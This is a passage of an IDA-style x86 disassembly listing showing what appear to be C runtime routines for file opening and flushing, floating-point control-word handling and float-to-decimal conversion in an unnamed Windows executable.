FlushFileBuffers test eax, eax jnz short loc_42BF62 call dword_42F068 ; RtlGetLastWin32Error mov esi, eax jmp short loc_42BF64 ; --------------------------------------------------------------------------- loc_42BF62: ; CODE XREF: sub_42BF07+4Fj xor esi, esi loc_42BF64: ; CODE XREF: sub_42BF07+59j test esi, esi jz short loc_42BF7D call sub_426531 mov [eax], esi loc_42BF6F: ; CODE XREF: sub_42BF07+3Dj call sub_426528 mov dword ptr [eax], 9 or esi, 0FFFFFFFFh loc_42BF7D: ; CODE XREF: sub_42BF07+5Fj push ebx call sub_42BEE5 pop ecx mov eax, esi jmp short loc_42BF96 ; --------------------------------------------------------------------------- loc_42BF88: ; CODE XREF: sub_42BF07+Dj ; sub_42BF07+2Dj call sub_426528 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_42BF96: ; CODE XREF: sub_42BF07+7Fj pop edi pop esi pop ebx retn sub_42BF07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BF9A proc near ; CODE XREF: sub_426DD4+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_42BFC0 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_42BFCB ; --------------------------------------------------------------------------- loc_42BFC0: ; CODE XREF: sub_42BF9A+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_42BFCB: ; CODE XREF: sub_42BF9A+24j mov eax, 8000h test ecx, eax jnz short loc_42BFE5 test ch, 40h jnz short loc_42BFE1 cmp dword_631730, eax jz short loc_42BFE5 loc_42BFE1: ; CODE XREF: sub_42BF9A+3Dj or [ebp+var_1], 80h loc_42BFE5: ; CODE XREF: sub_42BF9A+38j ; sub_42BF9A+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_42C00C dec eax jz short loc_42C003 dec eax jnz loc_42C09E mov [ebp+var_C], 0C0000000h jmp short loc_42C013 ; --------------------------------------------------------------------------- loc_42C003: ; CODE XREF: sub_42BF9A+57j mov [ebp+var_C], 40000000h jmp short loc_42C013 ; --------------------------------------------------------------------------- loc_42C00C: ; CODE XREF: sub_42BF9A+54j mov [ebp+var_C], 80000000h loc_42C013: ; CODE XREF: sub_42BF9A+67j ; sub_42BF9A+70j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_42C041 cmp eax, 20h jz short loc_42C038 cmp eax, 30h jz short loc_42C02F cmp eax, 40h jnz short loc_42C09E mov [ebp+var_10], esi jmp short loc_42C044 ; --------------------------------------------------------------------------- loc_42C02F: ; CODE XREF: sub_42BF9A+89j mov [ebp+var_10], 2 jmp short loc_42C044 ; --------------------------------------------------------------------------- loc_42C038: ; CODE XREF: sub_42BF9A+84j mov [ebp+var_10], 1 jmp short loc_42C044 ; --------------------------------------------------------------------------- loc_42C041: ; CODE XREF: sub_42BF9A+7Fj mov [ebp+var_10], ebx loc_42C044: ; CODE XREF: sub_42BF9A+93j ; sub_42BF9A+9Cj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_42C08A jz short loc_42C085 cmp ecx, ebx jz short loc_42C085 cmp ecx, edi jz short loc_42C07C cmp ecx, 200h jz short loc_42C0B8 cmp ecx, 300h jnz short loc_42C09E mov [ebp+var_8], 2 jmp short loc_42C0C8 ; --------------------------------------------------------------------------- loc_42C07C: ; CODE XREF: sub_42BF9A+C7j mov [ebp+var_8], 4 jmp short loc_42C0C8 ; --------------------------------------------------------------------------- loc_42C085: ; CODE XREF: sub_42BF9A+BFj ; sub_42BF9A+C3j mov [ebp+var_8], esi jmp short loc_42C0C8 ; --------------------------------------------------------------------------- loc_42C08A: ; CODE XREF: sub_42BF9A+BDj cmp ecx, 500h jz short loc_42C0C1 cmp ecx, 600h jz short loc_42C0B8 cmp ecx, edx jz short loc_42C0C1 loc_42C09E: ; CODE XREF: sub_42BF9A+5Aj ; sub_42BF9A+8Ej ... call sub_426528 mov dword ptr [eax], 16h call sub_426531 mov [eax], ebx or eax, 0FFFFFFFFh jmp loc_42C264 ; --------------------------------------------------------------------------- loc_42C0B8: ; CODE XREF: sub_42BF9A+CFj ; sub_42BF9A+FEj mov [ebp+var_8], 5 jmp short loc_42C0C8 ; --------------------------------------------------------------------------- loc_42C0C1: ; CODE XREF: sub_42BF9A+F6j ; sub_42BF9A+102j mov [ebp+var_8], 1 loc_42C0C8: ; CODE XREF: sub_42BF9A+E0j ; sub_42BF9A+E9j ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_42C0E7 mov ecx, dword_631468 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_42C0E7 push 1 pop esi loc_42C0E7: ; CODE XREF: sub_42BF9A+138j ; sub_42BF9A+148j test al, 40h jz short loc_42C0F5 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_42C0F5: ; CODE XREF: sub_42BF9A+14Fj test ah, 10h jz short loc_42C0FC or esi, edi loc_42C0FC: ; CODE XREF: sub_42BF9A+15Ej test al, 20h jz short loc_42C108 or esi, 8000000h jmp short loc_42C112 ; --------------------------------------------------------------------------- loc_42C108: ; CODE XREF: sub_42BF9A+164j test al, 10h jz short loc_42C112 or esi, 10000000h loc_42C112: ; CODE XREF: sub_42BF9A+16Cj ; sub_42BF9A+170j call sub_42BC26 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_42C13A call sub_426528 mov dword ptr [eax], 18h call sub_426531 and dword ptr [eax], 0 mov eax, edi jmp loc_42C264 ; --------------------------------------------------------------------------- loc_42C13A: ; CODE XREF: sub_42BF9A+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_42F060 ; CreateFileA mov esi, eax cmp esi, edi jnz short loc_42C16D loc_42C159: ; CODE XREF: sub_42BF9A+1E5j call dword_42F068 ; RtlGetLastWin32Error push eax call sub_4264B5 pop ecx mov esi, edi jmp loc_42C25B ; --------------------------------------------------------------------------- loc_42C16D: ; CODE XREF: sub_42BF9A+1BDj push esi call dword_42F1D0 ; GetFileType test eax, eax jnz short loc_42C181 push esi call dword_42F038 ; CloseHandle jmp short loc_42C159 ; --------------------------------------------------------------------------- loc_42C181: ; CODE XREF: sub_42BF9A+1DCj cmp eax, 2 jnz short loc_42C18C or [ebp+var_1], 40h jmp short loc_42C195 ; --------------------------------------------------------------------------- loc_42C18C: ; CODE XREF: sub_42BF9A+1EAj cmp eax, 3 jnz short loc_42C195 or [ebp+var_1], 8 loc_42C195: ; CODE XREF: sub_42BF9A+1F0j ; sub_42BF9A+1F5j push esi push ebx call sub_42BD49 mov eax, ebx pop ecx sar eax, 5 pop ecx mov cl, [ebp+var_1] lea edi, ds:6319E0h[eax*4] mov eax, ebx or cl, 1 and eax, 1Fh mov byte ptr [ebp+arg_0+3], cl lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 and byte ptr [ebp+arg_0+3], 48h mov [eax+esi+4], cl jnz short loc_42C242 test cl, 80h jz short loc_42C242 test byte ptr [ebp+arg_4], 2 jz short loc_42C242 push 2 push 0FFFFFFFFh push ebx call sub_426D61 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_42C203 call sub_426531 cmp dword ptr [eax], 83h jz short loc_42C242 loc_42C1F7: ; CODE XREF: sub_42BF9A+294j ; sub_42BF9A+2A6j push ebx call sub_4265E4 pop ecx or esi, 0FFFFFFFFh jmp short loc_42C25B ; --------------------------------------------------------------------------- loc_42C203: ; CODE XREF: sub_42BF9A+24Ej and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_426967 add esp, 0Ch test eax, eax jnz short loc_42C230 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_42C230 push [ebp+var_10] push ebx call sub_42D6D7 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_42C1F7 loc_42C230: ; CODE XREF: sub_42BF9A+27Ej ; sub_42BF9A+284j push 0 push 0 push ebx call sub_426D61 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_42C1F7 loc_42C242: ; CODE XREF: sub_42BF9A+22Ej ; sub_42BF9A+233j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_42C259 test byte ptr [ebp+arg_4], 8 jz short loc_42C259 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_42C259: ; CODE XREF: sub_42BF9A+2ACj ; sub_42BF9A+2B2j mov esi, ebx loc_42C25B: ; CODE XREF: sub_42BF9A+1CEj ; sub_42BF9A+267j push ebx call sub_42BEE5 pop ecx mov eax, esi loc_42C264: ; CODE XREF: sub_42BF9A+119j ; sub_42BF9A+19Bj pop edi pop esi pop ebx leave retn sub_42BF9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C269 proc near ; CODE XREF: sub_42C29E+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42C2B4 mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42C346 pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_42C269 endp ; =============== S U B R O U T I N E ======================================= sub_42C29E proc near ; CODE XREF: sub_4289E9+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_42C269 pop ecx pop ecx retn sub_42C29E endp ; =============== S U B R O U T I N E ======================================= sub_42C2B4 proc near ; CODE XREF: sub_42C269+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42C2C5 push 10h pop eax loc_42C2C5: ; CODE XREF: sub_42C2B4+Cj test bl, 4 jz short loc_42C2CC or al, 8 loc_42C2CC: ; CODE XREF: sub_42C2B4+14j test bl, 8 jz short loc_42C2D3 or al, 4 loc_42C2D3: ; CODE XREF: sub_42C2B4+1Bj test bl, 10h jz short loc_42C2DA or al, 2 loc_42C2DA: ; CODE XREF: sub_42C2B4+22j test bl, 20h jz short loc_42C2E1 or al, 1 loc_42C2E1: ; CODE XREF: sub_42C2B4+29j test bl, 2 jz short loc_42C2EB or eax, 80000h loc_42C2EB: ; CODE XREF: sub_42C2B4+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_42C323 cmp edx, 400h jz short loc_42C320 cmp edx, 800h jz short loc_42C31C cmp edx, esi jnz short loc_42C323 or eax, edi jmp short loc_42C323 ; --------------------------------------------------------------------------- loc_42C31C: ; CODE XREF: sub_42C2B4+5Ej or eax, ebp jmp short loc_42C323 ; --------------------------------------------------------------------------- loc_42C320: ; CODE XREF: sub_42C2B4+56j or ah, 1 loc_42C323: ; CODE XREF: sub_42C2B4+4Ej ; sub_42C2B4+62j ... and ecx, edi pop esi jz short loc_42C333 cmp ecx, ebp jnz short loc_42C338 or eax, 10000h jmp short loc_42C338 ; --------------------------------------------------------------------------- loc_42C333: ; CODE XREF: sub_42C2B4+72j or eax, 20000h loc_42C338: ; CODE XREF: sub_42C2B4+76j ; sub_42C2B4+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42C345 or eax, 40000h locret_42C345: ; CODE XREF: sub_42C2B4+8Aj retn sub_42C2B4 endp ; =============== S U B R O U T I N E ======================================= sub_42C346 proc near ; CODE XREF: sub_42C269+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42C356 push 1 pop eax loc_42C356: ; CODE XREF: sub_42C346+Bj test bl, 8 jz short loc_42C35D or al, 4 loc_42C35D: ; CODE XREF: sub_42C346+13j test bl, 4 jz short loc_42C364 or al, 8 loc_42C364: ; CODE XREF: sub_42C346+1Aj test bl, 2 jz short loc_42C36B or al, 10h loc_42C36B: ; CODE XREF: sub_42C346+21j test bl, 1 jz short loc_42C372 or al, 20h loc_42C372: ; CODE XREF: sub_42C346+28j test ebx, 80000h jz short loc_42C37C or al, 2 loc_42C37C: ; CODE XREF: sub_42C346+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_42C3A9 cmp ecx, 100h jz short loc_42C3A6 cmp ecx, esi jz short loc_42C3A1 cmp ecx, edx jnz short loc_42C3A9 or ah, 0Ch jmp short loc_42C3A9 ; --------------------------------------------------------------------------- loc_42C3A1: ; CODE XREF: sub_42C346+50j or ah, 8 jmp short loc_42C3A9 ; --------------------------------------------------------------------------- loc_42C3A6: ; CODE XREF: sub_42C346+4Cj or ah, 4 loc_42C3A9: ; CODE XREF: sub_42C346+44j ; sub_42C346+54j ... mov ecx, ebx and ecx, 30000h jz short loc_42C3BF cmp ecx, 10000h jnz short loc_42C3C1 or eax, esi jmp short loc_42C3C1 ; --------------------------------------------------------------------------- loc_42C3BF: ; CODE XREF: sub_42C346+6Bj or eax, edx loc_42C3C1: ; CODE XREF: sub_42C346+73j ; sub_42C346+77j pop esi test ebx, 40000h pop ebx jz short locret_42C3CE or ah, 10h locret_42C3CE: ; CODE XREF: sub_42C346+83j retn sub_42C346 endp ; =============== S U B R O U T I N E ======================================= sub_42C3CF proc near ; CODE XREF: sub_42C46E+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_42C414 inc esi cmp esi, 3 jge short loc_42C40F lea eax, [eax+esi*4] loc_42C401: ; CODE XREF: sub_42C3CF+3Ej cmp dword ptr [eax], 0 jnz short loc_42C414 inc esi add eax, 4 cmp esi, 3 jl short loc_42C401 loc_42C40F: ; CODE XREF: sub_42C3CF+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_42C414: ; CODE XREF: sub_42C3CF+27j ; sub_42C3CF+35j xor eax, eax pop esi retn sub_42C3CF endp ; =============== S U B R O U T I N E ======================================= sub_42C418 proc near ; CODE XREF: sub_42C46E+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_42D9BB add esp, 0Ch dec esi js short loc_42C46A lea edi, [ebx+esi*4] loc_42C451: ; CODE XREF: sub_42C418+50j test eax, eax jz short loc_42C46A push edi push 1 push dword ptr [edi] call sub_42D9BB add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_42C451 loc_42C46A: ; CODE XREF: sub_42C418+34j ; sub_42C418+3Bj pop edi pop esi pop ebx retn sub_42C418 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C46E proc near ; CODE XREF: sub_42C5C9+81p ; sub_42C5C9+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_42C4D2 inc ebx push ebx push [ebp+arg_0] call sub_42C3CF pop ecx test eax, eax pop ecx jnz short loc_42C4CF push edi push [ebp+arg_0] call sub_42C418 pop ecx mov [ebp+var_4], eax pop ecx loc_42C4CF: ; CODE XREF: sub_42C46E+51j mov eax, [ebp+arg_4] loc_42C4D2: ; CODE XREF: sub_42C46E+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_42C4F2 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_42C4F2: ; CODE XREF: sub_42C46E+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_42C46E endp ; =============== S U B R O U T I N E ======================================= sub_42C4FA proc near ; CODE XREF: sub_42C5C9+75p ; sub_42C5C9+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_42C508: ; CODE XREF: sub_42C4FA+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_42C508 pop esi retn sub_42C4FA endp ; =============== S U B R O U T I N E ======================================= sub_42C515 proc near ; CODE XREF: sub_42C5C9+5Fp ; sub_42C5C9+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_42C515 endp ; =============== S U B R O U T I N E ======================================= sub_42C521 proc near ; CODE XREF: sub_42C5C9+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_42C527: ; CODE XREF: sub_42C521+12j cmp dword ptr [eax], 0 jnz short loc_42C539 inc ecx add eax, 4 cmp ecx, 3 jl short loc_42C527 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42C539: ; CODE XREF: sub_42C521+9j xor eax, eax retn sub_42C521 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C53C proc near ; CODE XREF: sub_42C5C9+C0p ; sub_42C5C9+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_42C572: ; CODE XREF: sub_42C53C+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_42C572 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42C5A4: ; CODE XREF: sub_42C53C+86j cmp ebx, edi jl short loc_42C5B7 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_42C5BE ; --------------------------------------------------------------------------- loc_42C5B7: ; CODE XREF: sub_42C53C+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_42C5BE: ; CODE XREF: sub_42C53C+79j dec ebx sub ecx, 4 jns short loc_42C5A4 pop edi pop esi pop ebx leave retn sub_42C53C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C5C9 proc near ; CODE XREF: sub_42C735+Dp ; sub_42C74B+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_42C636 lea eax, [ebp+var_C] xor esi, esi push eax call sub_42C521 test eax, eax pop ecx jnz loc_42C6F5 lea eax, [ebp+var_C] push eax call sub_42C515 pop ecx loc_42C62E: ; CODE XREF: sub_42C5C9+E4j push 2 loc_42C630: ; CODE XREF: sub_42C5C9+110j pop eax jmp loc_42C6F7 ; --------------------------------------------------------------------------- loc_42C636: ; CODE XREF: sub_42C5C9+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_42C4FA push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_42C46E add esp, 10h test eax, eax jz short loc_42C657 inc ebx loc_42C657: ; CODE XREF: sub_42C5C9+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_42C66F lea eax, [ebp+var_C] push eax call sub_42C515 pop ecx jmp short loc_42C6AB ; --------------------------------------------------------------------------- loc_42C66F: ; CODE XREF: sub_42C5C9+98j cmp ebx, eax jg short loc_42C6B2 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_42C4FA lea eax, [ebp+var_C] push esi push eax call sub_42C53C push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_42C46E mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_42C53C add esp, 20h loc_42C6AB: ; CODE XREF: sub_42C5C9+A4j xor esi, esi jmp loc_42C62E ; --------------------------------------------------------------------------- loc_42C6B2: ; CODE XREF: sub_42C5C9+A8j cmp ebx, [edi] jl short loc_42C6DE lea eax, [ebp+var_C] push eax call sub_42C515 push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_42C53C mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_42C630 ; --------------------------------------------------------------------------- loc_42C6DE: ; CODE XREF: sub_42C5C9+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_42C53C pop ecx pop ecx loc_42C6F5: ; CODE XREF: sub_42C5C9+55j xor eax, eax loc_42C6F7: ; CODE XREF: sub_42C5C9+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_42C726 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_42C730 ; --------------------------------------------------------------------------- loc_42C726: ; CODE XREF: sub_42C5C9+14Ej cmp edi, 20h jnz short loc_42C730 mov ecx, [ebp+arg_4] mov [ecx], esi loc_42C730: ; CODE XREF: sub_42C5C9+15Bj ; sub_42C5C9+160j pop edi pop esi pop ebx leave retn sub_42C5C9 endp ; =============== S U B R O U T I N E ======================================= sub_42C735 proc near ; CODE XREF: sub_42C761+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_44BFD0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_42C5C9 add esp, 0Ch retn sub_42C735 endp ; =============== S U B R O U T I N E ======================================= sub_42C74B proc near ; CODE XREF: sub_42C78E+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_44BFE8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_42C5C9 add esp, 0Ch retn sub_42C74B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C761 proc near ; CODE XREF: sub_428B22+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_42DB5C push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_42C735 add esp, 24h leave retn sub_42C761 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C78E proc near ; CODE XREF: sub_428B22+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_42DB5C push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_42C74B add esp, 24h leave retn sub_42C78E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C7BB proc near ; CODE XREF: sub_428B60+41p ; sub_428C83+38p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_42C7F8 mov [ebp+arg_0], ebx xor ebx, ebx loc_42C7DE: ; CODE XREF: sub_42C7BB+38j mov dl, [ecx] test dl, dl jz short loc_42C7EA movsx edx, dl inc ecx jmp short loc_42C7ED ; --------------------------------------------------------------------------- loc_42C7EA: ; CODE XREF: sub_42C7BB+27j push 30h pop edx loc_42C7ED: ; CODE XREF: sub_42C7BB+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_42C7DE mov edx, [ebp+arg_8] loc_42C7F8: ; CODE XREF: sub_42C7BB+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_42C811 cmp byte ptr [ecx], 35h jl short loc_42C811 loc_42C804: ; CODE XREF: sub_42C7BB+52j dec eax cmp byte ptr [eax], 39h jnz short loc_42C80F mov byte ptr [eax], 30h jmp short loc_42C804 ; --------------------------------------------------------------------------- loc_42C80F: ; CODE XREF: sub_42C7BB+4Dj inc byte ptr [eax] loc_42C811: ; CODE XREF: sub_42C7BB+42j ; sub_42C7BB+47j cmp byte ptr [esi], 31h jnz short loc_42C81B inc dword ptr [edx+4] jmp short loc_42C82D ; --------------------------------------------------------------------------- loc_42C81B: ; CODE XREF: sub_42C7BB+59j push edi call sub_422120 inc eax push eax push edi push esi call sub_423C20 add esp, 10h loc_42C82D: ; CODE XREF: sub_42C7BB+5Ej pop edi pop esi pop ebx pop ebp retn sub_42C7BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C832 proc near ; CODE XREF: sub_428B60+19p ; sub_428C83+19p ... var_28 = word ptr -28h var_26 = byte ptr -26h var_24 = byte ptr -24h var_C = byte ptr -0Ch arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42C88E pop ecx lea eax, [ebp+var_28] pop ecx lea esi, [ebp+var_C] push eax push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_42E02D mov esi, [ebp+arg_8] mov edi, [ebp+arg_C] mov [esi+8], eax movsx eax, [ebp+var_26] mov [esi], eax movsx eax, [ebp+var_28] mov [esi+4], eax lea eax, [ebp+var_24] push eax push edi call sub_423260 add esp, 20h mov [esi+0Ch], edi mov eax, esi pop edi pop esi leave retn sub_42C832 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C88E proc near ; CODE XREF: sub_42C832+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42C8DC cmp ebx, edi jz short loc_42C8D5 lea edi, [ecx+3C00h] jmp short loc_42C8FD ; --------------------------------------------------------------------------- loc_42C8D5: ; CODE XREF: sub_42C88E+3Dj mov edi, 7FFFh jmp short loc_42C8FD ; --------------------------------------------------------------------------- loc_42C8DC: ; CODE XREF: sub_42C88E+39j xor ebx, ebx cmp eax, ebx jnz short loc_42C8F4 cmp edx, ebx jnz short loc_42C8F4 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_42C93F ; --------------------------------------------------------------------------- loc_42C8F4: ; CODE XREF: sub_42C88E+52j ; sub_42C88E+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_42C8FD: ; CODE XREF: sub_42C88E+45j ; sub_42C88E+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 